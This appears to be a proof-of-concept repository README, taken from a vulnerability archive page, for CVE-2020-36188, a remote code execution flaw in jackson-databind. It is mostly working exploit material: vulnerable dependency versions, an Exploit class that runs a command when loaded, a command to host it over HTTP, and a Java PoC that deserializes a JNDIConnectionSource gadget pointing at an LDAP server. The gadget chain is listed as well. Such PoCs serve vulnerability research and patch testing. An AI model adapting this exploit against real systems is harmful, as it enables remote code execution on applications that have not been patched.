来源

关联漏洞

描述

CVE-2020-36188 &&Jackson-databind RCE

介绍

## Description
FasterXML jackson-databind 2.x before 2.9.10.8 mishandles the interaction between serialization gadgets and typing, related to com.newrelic.agent.deps.ch.qos.logback.core.db.JNDIConnectionSource

## How to RCE

pom.xml

```
<dependencies>
        <dependency>
            <groupId>com.fasterxml.jackson.core</groupId>
            <artifactId>jackson-databind</artifactId>
            <version>2.9.10.7</version>
        </dependency>
        <!-- https://mvnrepository.com/artifact/com.newrelic.agent.java/newrelic-agent -->
        <dependency>
            <groupId>com.newrelic.agent.java</groupId>
            <artifactId>newrelic-agent</artifactId>
            <version>4.9.0</version>
        </dependency>

        <dependency>
            <groupId>org.slf4j</groupId>
            <artifactId>slf4j-nop</artifactId>
            <version>1.7.2</version>
        </dependency>
        <!-- https://mvnrepository.com/artifact/javax.transaction/jta -->
        <dependency>
            <groupId>javax.transaction</groupId>
            <artifactId>jta</artifactId>
            <version>1.1</version>
        </dependency>
    </dependencies>
	
```

Exploit.java


```
import java.lang.Runtime;

public class Exploit {
    static {
        try {
            Runtime.getRuntime().exec("calc");
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}
```

HttpServer

```
python -m  SimpleHTTPServer 4444

```

LDAPServer

![ldap](img/ldap.png)

POC.java
```
import com.fasterxml.jackson.databind.ObjectMapper;
import com.fasterxml.jackson.databind.SerializationFeature;


public class POC {
    public static void main(String[] args) throws Exception {
        ObjectMapper mapper = new ObjectMapper();
        mapper.enableDefaultTyping();
        mapper.configure(SerializationFeature.FAIL_ON_EMPTY_BEANS, false);
        String json = "[\"com.newrelic.agent.deps.ch.qos.logback.core.db.JNDIConnectionSource\", {\"jndiLocation\":\"ldap://127.0.0.1:1288/Exploit\"}]";
        Object obj = mapper.readValue(json, Object.class);
        mapper.writeValueAsString(obj);

    }
}
```

Result:

![result](img/result.jpg)


## Gadget Chain

```
JNDIConnectionSource
	->setJndiLocation
    	->getConnection
        	->lookupDataSource
            	->lookup()
```

文件快照

 [4.0K]  /data/pocs/fa54f4043c0b6bcab9ee20cfdc5fea129e288db2
├── [4.0K]  img
│   ├── [9.8K]  ldap.png
│   └── [235K]  result.jpg
└── [2.3K]  README.md

1 directory, 3 files

备注